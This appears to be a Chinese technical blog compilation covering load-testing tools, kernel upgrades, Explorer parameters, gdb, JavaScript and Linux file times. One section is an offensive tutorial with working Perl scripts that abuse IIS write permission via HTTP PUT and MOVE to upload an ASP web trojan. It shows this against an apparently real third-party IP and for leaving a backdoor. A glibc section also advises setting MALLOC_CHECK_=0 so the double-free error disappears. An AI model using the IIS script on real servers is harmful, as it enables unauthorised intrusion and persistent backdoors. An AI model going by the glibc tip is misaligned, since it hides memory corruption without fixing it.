http 压力测试工具 之 siege

 

最早使用的压力测试工具是apache的ab(apache benchmark),apache ab做重复压力测试不错,但是每次只能测试一个链接,如何测试一组链接(比如从日志中导出的1个小时的日志,做真实压力测试),后来找到了这个:
Siege是一个压力测试和评测工具,设计用于WEB开发这评估应用在压力下的承受能力:可以根据配置对一个WEB站点进行多用户的并发访问,记录每个用户所有请求过程的相应时间,并在一定数量的并发访问下重复进行。

SIEGE is an http regressive testing and benchmarking utility. It was designed to let web developers measure the performance of their code under duress, to see how it will stand up to load on the internet. It lets the user hit a webserver with a configurable number of concurrent simulated users. Those users place the webserver "under siege." The duration of the siege is measured in transactions, the sum of simulated users and the number of times each simulated user repeats the process of hitting the server. Thus 20 concurrent users 50 times is 1000 transactions, the length of the test.

下载/安装
Siege时一个开放源代码项目:http://www.joedog.org

下载:
wget ftp://sid.joedog.org/pub/siege/siege-latest.tar.gz

安装:
%./configure ; make
#make install

siege包含了一组压力测试工具:
SIEGE (1) Siege是一个HTTP压力测试和评测工具.
使用样例:
任务列表:www.chedong.com.url文件
http://www.chedong.com/tech/
http://www.chedong.com/tech/acdsee.html
http://www.chedong.com/tech/ant.html
http://www.chedong.com/tech/apache_install.html
http://www.chedong.com/tech/awstats.html
http://www.chedong.com/tech/cache.html
http://www.chedong.com/tech/click.html
http://www.chedong.com/tech/cms.html
http://www.chedong.com/tech/compress.html
http://www.chedong.com/tech/cvs_card.html
http://www.chedong.com/tech/default.html
http://www.chedong.com/tech/dev.html
http://www.chedong.com/tech/gnu.html
….

siege -c 20 -r 2 -f www.chedong.com.url
参数说明:
-c 20 并发20个用户
-r 2 重复循环2次
-f www.chedong.com.url 任务列表:URL列表

输出样例:

** Siege 2.59
** Preparing 20 concurrent users for battle. 这次“战斗”准备了20个并发用户
The server is now under siege.. done. 服务在“围攻”测试中:
Transactions: 40 hits 完成40次处理
Availability: 100.00 % 成功率
Elapsed time: 7.67 secs 总共用时
Data transferred: 877340 bytes 共数据传输:877340字节
Response time: 1.65 secs 相应用时1.65秒:显示网络连接的速度
Transaction rate: 5.22 trans/sec 平均每秒完成5.22次处理:表示服务器后台处理的速度
Throughput: 114385.92 bytes/sec 平均每秒传送数据:114385.92字节
Concurrency: 8.59 最高并发数 8.59
Successful transactions: 40 成功处理次数
Failed transactions: 0 失败处理次数

注意:由于速度很快,可能会达不到并发速度很高就已经完成。Response time显示的是测试机器和被测试服务器之间网络链接状况。Transaction rate则表示服务器端任务处理的完成速度。

辅助工具:
增量压力测试:

为了方便增量压力测试,siege还包含了一些辅助工具:
bombardment (1)
是一个辅助工具:用于按照增量用户压力测试:
使用样例:
bombardment urlfile.txt 5 3 4 1
初始化URL列表:urlfile.txt
初始化为:5个用户
每次增加:3个用户
运行:4次
每个客户端之间的延迟为:1秒

输出成CSV格式:
siege2csv.pl (1)
siege2csv.pl将bombardment的输出变成CSV格式:
Time Data Transferred Response Time Transaction Rate Throughput Concurrency Code 200 (note that this is horribly broken.)
242 60.22 603064 0.02 4.02 10014.35 0.08
605 59.98 1507660 0.01 10.09 25136.05 0.12
938 59.98 2337496 0.02 15.64 38971.26 0.26
1157 60 2883244 0.04 19.28 48054.07 0.78

参考:
开源测试工具:http://www.opensourcetesting.org/performance.php

压力测试工具:HammerHead 正在试用中

http 压力测试工具 之 http_load

http_load

下载地址:http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz

程序非常小,解压后也不到100K 居家旅行 携带方便 呵呵

http_load以并行复用的方式运行,用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具,它可以以一个单一的进程运行,一般不会把客户机搞死。可以可以测试HTTPS类的网站请求。

命令格式:http_load   -p 并发访问进程数   -s 访问时间   需要访问的URL文件
例如:

引用
http_load -p 30 -s 60   urllist.txt

准备URL文件:tst.list,文件格式是每行一个URL,URL最好超过50-100个测试效果比较好,另外,测试结果中主要的指标是 fetches/sec 这个选项,即服务器每秒能够响应的查询次数,用这个指标来衡量性能。似乎比 apache的ab准确率要高一些,也更有说服力一些。

官方的例子:

引用
% ./http_load -rate 10 -seconds 60 urllist.txt
49 fetches, 4 max parallel, 289884 bytes, in 10.0148 seconds
5916 mean bytes/connection
4.89274 fetches/sec, 28945.5 bytes/sec
msecs/connect: 28.8932 mean, 44.243 max, 24.488 min
msecs/first-response: 63.5362 mean, 81.624 max, 57.803 min

4.89274 fetches/sec 这个值得就是说服务器每秒能够响应的查询次数为4.8左右
这个值得是根据 49 fetches / 10.0148 seconds 秒计算出来的

Linux 内核升级过程

将源码解压在/home/root下,进入目录
cd linux-2.6.18
make mrproper
将原/boot目录下的config-2.6.9-11.EL考过来,并更名为.config
cp /boot/config-2.6.9-11.EL ./.config
make menuconfig
选择load原有的config,这样就原有的配置就应该都不需要配置了,
只新加载了netfilter里面支持的模块……
make
make modules_install
make install
完成,重启。

可能要修改的文件:

/etc/modprobe.conf

Explorer.exe 参数解析

        在Windows中,相信大家对“Explorer.exe”并不陌生!通常情况下,在“开始→运行”中输 入“Explorer.exe”命令就能以“资源管理器”方式打开“我的文档”。其实,Explorer.exe还有很多鲜为人知的参数。

  命令格式

  Explorer [/n][/e][[,/root],[path]][[,/select],[path filename]]

  参数说明

  /n表示以“我的电脑”方式打开一个新的窗口,通常打开的是Windows安装分区的根目录。

  /e表示以“资源管理器”方式打开一个新的窗口,通常打开的也是Windows安装分区的根目录。

  /root,[path]表示打开指定的文件夹,/root表示只显示指定文件夹下面的文件(夹),不显示其它磁盘分区和文件夹;[path]表示指定的路径。

  如果不加/root参数,而只用[path]参数,则可以显示其它磁盘分区和文件夹中的内容。另外,[path]还可以指定网络共享文件夹。

  /select,[path filename]表示打开指定的文件夹并且选中指定的文件,[path filename]表示指定的路径和文件名。

  如果不加/select参数,则系统会用相应的关联程序打开该文件。如果[path filename]不跟文件名就会打开该文件夹的上级目录并选中该文件夹。

  应用实例

  1.以“资源管理器”方式打开E盘根目录

  单击“开始→运行”,输入“explorer /e,/root,e:\”,回车即可。如果需要显示其它磁盘分区和文件夹中的内容,可以输入“explorer /e,e:\”。

  2.以“我的电脑”方式打开“E:\Download”目录下的QQ.exe文件在“开始→运行”中键入“explorer /n,/select e:\download\qq.exe”或“explorer /select e:\download\qq.exe”,回车即可。

  3.通过“开始”菜单中的“Windows 资源管理器”命令打开特定窗口

  以在Windows XP下打开E盘根目录为例。首先在“开始”菜单中用鼠标右键单击“所有程序→附件→Windows 资源管理器”项,选择“属性”命令。接着在弹出窗口的“目标”栏中输入“%SystemRoot%\explorer.exe /e,e:\”(默认值是“%SystemRoot%\explorer.exe”)即可。

  4.在右键菜单里添加“打开我的文件夹”命令打开特定文件

  以在Windows XP下打开“E:\myfolder”文件夹为例。在“开始→运行”中输入“Regedit”,打开“注册表编辑器”,展开分支“HKEY_CLASSES_ROOT\Directory\shell,接着在右边窗口中新建一个名为“PersonalWindow”的子键,并将默认值改成“打开我的文件夹”;然后在“PersonalWindow”下新建一个名为“Command”的子键,在右侧的窗口中将“默认”值改为“explorer.exe /e,E:\myfolder”。这样就可以在浏览任何文件夹的时候,通过右键快捷菜单中的“打开我的文件夹”命令快速以资源管理器方式打开“E:\myfolder”文件夹。

示例

以下示例说明了 Windows 资源管理器参数的用法。

• Explorer /n

此命令使用默认设置打开一个资源管理器窗口。显示的内容通常是安装 Windows 的驱动器的根目录。

• Explorer /e

此命令使用默认视图启动 Windows 资源管理器。

• Explorer /e,C:\Windows

此命令使用默认视图启动 Windows 资源管理器,并把焦点定位在 C:\Windows。

• Explorer /root, C:\Windows\Cursors

此命令启动 Windows 资源管理器后焦点定位在 C:\Windows\Cursors folder。此示例使用

C:\Windows\Cursors 作为 Windows 资源管理器的“根”目录。

备注:请注意命令中“/root”参数后面的逗号。

Explorer /select, C:\Windows\Cursors\banana.ani

此命令启动 Windows 资源管理器后选定“C:\Windows\Cursors\banana.ani”文件。

备注

请注意命令中“/select”参数后面的逗号。

Windows 资源管理器参数可以在一个命令中进行组合。以下示例显示了 Windows 资源管理器命令行参数的组合。

Explorer /root, \\server\share, select, Program.exe

此命令启动 Windows 资源管理器时以远程共享作为“根”文件夹,而且 Program.exe 文件将被选中

妙用IIS写权限触发后门

     提到微软公司的IIS,很多人就会想到“漏洞”:UNICODE、CGI解析、ida、idq、Printer等远程溢出,还有前段去年的webdav远程溢出等,真所谓“百孔千疮”。这些都是IIS本身的程序漏洞,只要通过打上相应的补丁,就可以在一定程度上保证服务器的安全,但如果是IIS的设置不当(如目录权限,认证方法等等)而引起的安全问题,那危害会更大,因为这一般为管理员所忽视,本文就IIS的可“写入”权限进行分析。

  分析

  现在让我们看看IIS的一些设置。在IIS 服务管理器中,选择一个目录,看它的属性.在目录属性项里有这么一些选项(日志访问和索引此资源不计):

  脚本资源访问: 对网站的脚本可以读取原文件。

  读取:     读取目录里面的静态资源。

  写入:     用户可以建立以及删除资源。

  目录浏览:   用户可以浏览目录内容。

  应用程序设置的执行许可中有三个选项:

  无:        只能访问静态页面。

  纯脚本:      只允许允许脚本,如ASP脚本。

  脚本和可执行程序:  可以访问和执行各种文件类型。

  我们这里就对“写入”权限进行分析。首先看看IIS是这样“写入”的:Telnet或用NC连接到服务器的Web端口(80)并发送一个如下请求:

  PUT /Scripts/my_file.txt HTTP/1.1

  Host: iis-server

  Content-Length: 10

  这时服务器会返回一个100(继续)的信息:

  HTTP/1.1 100 Continue

  Server: Microsoft-IIS/5.0

  Date: Thu, 06 May 2004 10:20:20 GMT

  接着,我们输入10个字母:

  AAAAAAAAAA

  送出这个请求后,看服务器的返回信息,如果是一个201 Created响应:

  HTTP/1.1 200 OK

  Server: Microsoft-IIS/5.0

  Date: Thu, 06 May 2004 10:20:45 GMT

  Content-Length: 0

  Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH,

  SEARCH, LOCK, UNLOCK

  这样我们就在web的Scripts目录下写入文件my_file.txt内容为“AAAAAAAAAA”。

  这里简单说明:

  PUT /dir/my_file.txt HTTP/1.1

  Host: iis-server

  Content-Length: 10

  PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。

  Host:是HTTP请求的发送地址。

  Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致。

  用NC(telnet)提交数据很烦琐,我们这里写个简单的Perl程序来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:

  #!/usr/bin/perl

  use IO::Socket;

  $ARGC = @ARGV;

  if ($ARGC != 4)

  {

  print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";

  exit;

  }

  $host = @ARGV[0];

  $port = @ARGV[1];

  $file = @ARGV[2];

  $path = @ARGV[3];

  @s=stat("$file");

$size = $s[7]; #得到文件大小

  print "$file size is $size bytes\n";

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "PUT $path HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Content-Length: $size\n\n"; #sock连接

  open(FILE,"$file");

  binmode(FILE); #用2进制打开文件

  while (read(FILE,$char,1024)) { #读取文件数据上传

  print $sock "$char";

  }

  print $sock "\n\n";

  @req = <$sock>;

  print "please wait…\n";

  sleep(2);

  if ($req[4]=~/200|201/){

  print "upfile Succeed!!!" ; #成功显示

  }

  else{

  print "upfile faile!!!\n\n";

  print @req;#如果失败显示返回错误

  }

  close $sock;

  close FILE;

  下面我们测试下效果如何:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt

  kaka.txt size is 14 bytes

  please wait…

  upfile Succeed!!!

  C:\Inetpub\Scripts>dir kaka.txt

  驱动器 C 中的卷没有标签。

  卷的序列号是 3CD1-479E

  C:\Inetpub\Scripts 的目录

  2004-05-05 00:37 14 kaka.txt

  1 个文件 14 字节

  0 个目录 3,871,080,448 可用字节

  这里我们把kaka.txt成功上传到了Web目录Scripts下,因为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe

  perl.exe size is 20535 bytes

  please wait…

  upfile Succeed!!!

  C:\Inetpub\Scripts>dir perl.exe

  驱动器 C 中的卷没有标签。

  卷的序列号是 3CD1-479E

  C:\Inetpub\Scripts 的目录

  2004-05-05 00:42 20,535 perl.exe

  1 个文件 20,535 字节

  0 个目录 3,871,031,296 可用字节

  成功!可以上传exe了,是不是可以上传任意文件呢?接着来测试ASP文件:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp

  kaka.asp size is 4 bytes

  please wait…

  upfile faile!!!

  HTTP/1.1 100 Continue

  Server: Microsoft-IIS/5.0

  Date: Tue, 04 May 2004 16:45:51 GMT

  HTTP/1.1 403 Forbidden

  Server: Microsoft-IIS/5.0

  Date: Tue, 04 May 2004 16:45:51 GMT

  Connection: close

  Content-Type: text/html

  Content-Length: 44

       <body><h2>HTTP/1.1 403 Forbidden</h2></body>

  失败!提示HTTP/1.1 403 Forbidden错误,看来直接用Post方式写ASP不行,经过测试只要是IIS支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

  那我们怎样才可以上传IIS支持的文件类型文件呢?IIS除了可以执行Put,Post,Get等动作外,还可以执行COPY,MOVE等命令,呵呵!我们这可以先把本地ASP上传到远程主机Web目录下的txt等其它文件,在提过COPY,MOVE命令来改为ASP。我们还是先用NC提交测试下:

  D:\>nc 127.0.0.1 80

  MOVE /scripts/kaka.txt HTTP/1.1

  Host:127.0.0.1

  Destination: http://127.0.0.1/scripts/kaka.asp

  HTTP/1.1 201 Created

  Server: Microsoft-IIS/5.0

  Date: Sun, 05 Oct 2003 09:30:59 GMT

  Location: http://127.0.0.1/scripts/x.asp

  Content-Type: text/xml

  Content-Length: 0

  成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合Put和Move来完成通过IIS写入文件了,我们还是用Perl来完成。测试写ASP成功:

  C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp

  ************************************************************

  codz by ≯SuperHeiQQ /><QQ:123230273> && lanker<QQ:18779569>

  ************************************************************

  kaka.asp size is 4 bytes

  please wait…

  upfile Succeed!!!

  Modifyfile Succeed!!!

  最终的iiswrite.pl代码如下(代码写的不是很好看,见笑了):

  #!/usr/bin/perl

  #The iiswrite Script

  use IO::Socket;

  $ARGC = @ARGV;

  print "*" x 60;

  print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";

  print "*" x 60,"\n";

  if ($ARGC != 4)

  {

  print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";

  exit;

  }

  $host = @ARGV[0];

  $port = @ARGV[1];

  $path = @ARGV[3];

  $file = @ARGV[2];

  @path=split("/",$path);

  $any = pop(@path);

  $path1=join("/",@path);

@s=stat("$file");

  $size = $s[7];

  print "$file size is $size bytes\n";

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "PUT $path1/lanker.txt HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Content-Length: $size\n\n";

  open(FILE,"$file")|| die "Can’t open $file";

  binmode(FILE);

  while (read(FILE,$char,1024)) {

  print $sock "$char";

  }

  print $sock "\n\n";

  @req = <$sock>;

  print "please wait…\n";

  sleep(2);

  if ($req[4]=~/200|201/){

  print "upfile Succeed!!!\n" ;

  }

  else{

  print "upfile faile!!!\n";

  print "The IIS can’t acc write";

  }

  close $sock;

  close FILE;

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Destination:http://$host:$port$path\n\n\n\n";

  @req = <$sock>;

  if ($req[0]=~/20\d+|/){

  print "Modifyfile Succeed!!!" ;

  }

  else{

  print "upfile faile!!!";

  }

  close $sock;

  Try to use it!

  1. 上传web木马。

  假如我们已经知道某主机IIS可写,我们就可以远程写入任意文件,包括ASP等,这样我们就可以直接上传一个脚本木马上去了(如海洋2004),直接危及到主机安全。

  我们实践一下:得知主机222.241.**.43的Scripts目录可以写,我们运行上面的程序上传海洋新出的ASP木马2004.asp。如图2所示。

  C:\usr\bin>perl.exe iiswt2.pl 222.241.64.43 80 2004.asp /scripts/2004.asp

  ************************************************************

  codz by ≯SuperHei && lanker

  ************************************************************

  2004.asp size is 39047 bytes

  please wait…

  upfile Succeed!!!

  Modifyfile Succeed!!!

  哈哈!写入成功,直接访问http://222.241.64.43/scripts/2004.asp输入密码就可以看到ASP木马界面了。

  2.留后门。

  利用这样的特性,我们只需要将某个路径改成可写入的,然后直接利用这样的程序就可以留着后门了,这可比直接放ASP后门强很多哦!

  防范

  所谓“安全是一个整体”,管理员配置和维护服务器时要细心,要重视每个细节。以为一个小小的细节都可能是你的服务器被攻破,本文就是一个例子。防范的方法请看防册的《让WebShell见鬼去》。由于作者的水平有限,难免有错,还望大家多包含。

gdb 多线程程序调试实例

gdb对于多线程程序的调试有如下的支持:
  
  线程产生通知:在产生新的线程时, gdb会给出提示信息
  (gdb) r
  Starting program: /root/thread
  [New Thread 1073951360 (LWP 12900)]
  [New Thread 1082342592 (LWP 12907)]—以下三个为新产生的线程
  [New Thread 1090731072 (LWP 12908)]
  [New Thread 1099119552 (LWP 12909)]
  
  查看线程:使用info threads可以查看运行的线程。
  (gdb) info threads
   4 Thread 1099119552 (LWP 12940) 0xffffe002 in ?? ()
   3 Thread 1090731072 (LWP 12939) 0xffffe002 in ?? ()
   2 Thread 1082342592 (LWP 12938) 0xffffe002 in ?? ()
  * 1 Thread 1073951360 (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
  (gdb)
  
  
  注意,行首的蓝色文字为gdb分配的线程号,对线程进行切换时,使用该该号码,而不是上文标出的绿色数字。
  
  另外,行首的红色星号标识了当前活动的线程
  
  切换线程:使用 thread THREADNUMBER 进行切换,THREADNUMBER 为上文提到的线程号。下例显示将活动线程从 1 切换至 4。
  (gdb) info threads
   4 Thread 1099119552 (LWP 12940) 0xffffe002 in ?? ()
   3 Thread 1090731072 (LWP 12939) 0xffffe002 in ?? ()
   2 Thread 1082342592 (LWP 12938) 0xffffe002 in ?? ()
  * 1 Thread 1073951360 (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
  (gdb) thread 4
  [Switching to thread 4 (Thread 1099119552 (LWP 12940))]#0 0xffffe002 in ?? ()
  (gdb) info threads
  * 4 Thread 1099119552 (LWP 12940) 0xffffe002 in ?? ()
   3 Thread 1090731072 (LWP 12939) 0xffffe002 in ?? ()
   2 Thread 1082342592 (LWP 12938) 0xffffe002 in ?? ()
   1 Thread 1073951360 (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
  (gdb)
  
  
   以上即为使用gdb提供的对多线程进行调试的一些基本命令。另外,gdb也提供对线程的断点设置以及对指定或所有线程发布命令的命令。
  
   初次接触gdb下多线程的调试,往往会忽视gdb中活动线程的概念。一般来讲,在使用gdb调试的时候,只有一个线程为活动线程,如果希望得到其他的线程的输出结果,必须使用thread命令切换至指定的线程,才能对该线程进行调试或观察输出结果。

javascript 用法 之 call

javascript 中call的用法:

1. 简单看个实例,直接将下面部分复制到地址栏里,回车看看结果:

javascript:var a={name:’A’,m:function(){alert(this.name);}};var b={name:’B’};var c={name:’C’};a.m();a.m.call(b);a.m.call(c);

2. call是函数对象的一个方法,第一个参数指定由谁来调用自己,后面的参数就是自己定义时的参数列表了,上面实例同时还演示了this的用法

*** glibc detected *** double free

Q: 在执行一个程序时,出现如下错误:
*** glibc detected *** double free or corruption: 0x0937d008 ***
是怎么回事?  
A:   设置MALLOC_CHECK_环境变量再运行程序,呵呵,错误信息消失

MALLOC_CHECK_=0   ./myprogram

红 帽企业 Linux 4 提供的 glibc 可以执行附加的内部数据健全检查,从而在尽可能早的时候发现和保护数据被破坏。在默认的情况下,当被破坏的 数据被发现时,与以下相似的错误信息会被显示在标准的错误输出上(如果 stderr 没有打开,会被记录在 syslog 中):

*** glibc detected *** double free or corruption: 0x0937d008 ***

在默认的情况下,产生这个错误的程序也会被中止。但是,这(以及是否产生错误信息)可以通过环境变量 MALLOC_CHECK_ 来控制。以下的设置是被支持的:

0 – 不产生错误信息,也不中止这个程序

1 – 产生错误信息,但是不中止这个程序

2 – 不产生错误信息,但是中止这个程序

3 – 产生错误信息,并中止这个程序

备注
如果 MALLOC_CHECK_ 被设置为除 0 以外的值,这会使 glibc 进行更多的检查并可能影响到系统的性能。

 

我的apache里出现过这种错误

Linux 如何查看文件的创建时间

在Linux中,没有文件创建时间的概念。只有文件的访问时间、修改时间、状态改变时间。也就是说不能知道文件的创建时间。

但如果文件创建后就没有修改过,修改时间=创建时间;如果文件创建后,状态就没有改变过,那么状态改变时间=创建时间;如果文件创建后,没有被读取过,那么访问时间=创建时间,这个基本不太可能。呵呵。

与文件相关的几个时间:

1。访问时间,读一次这个文件的内容,这个时间就会更新。比如对这个文件使用more命令。ls、stat命令都不会修改文件的访问时间。

2。修改时间,对文件内容修改一次,这个时间就会更新。比如:vi后保存文件。ls -l列出的时间就是这个时间。

3。状态改变时间。通过chmod命令更改一次文件属性,这个时间就会更新。

查看文件的详细的状态、准确的修改时间等,可以通过stat命令+文件名。比如:

# stat nohup.out
     File: `nohup.out’
     Size: 8306               Blocks: 32            IO Block: 4096      regular file
Device: 802h/2050d         Inode: 820136         Links: 1
Access: (0777/-rwxrwxrwx)     Uid: (       0/       root)      Gid: (       0/       root)
Access: 2007-05-28 10:28:59.492016424 -0400
Modify: 2006-11-16 09:04:03.000000000 -0500
Change: 2007-05-28 10:27:44.074481632 -0400

说明:Access访问时间。Modify修改时间。Change状态改变时间。

可以stat *查看这个目录所有文件的状态

经济危机告诉我们什么

   经济危机来了,以前只在课本中见过,虽然画面画的很惨,但是不亲身经历根本是体会不到的,现在我们有幸(是不得不)经历这次经济危机,我们不能稀里糊涂地熬过就算过了,我们要学到一些东西,毕竟每个人都为这次经济危机交了不少的学费,毕竟经济危机也是难得经历一次的。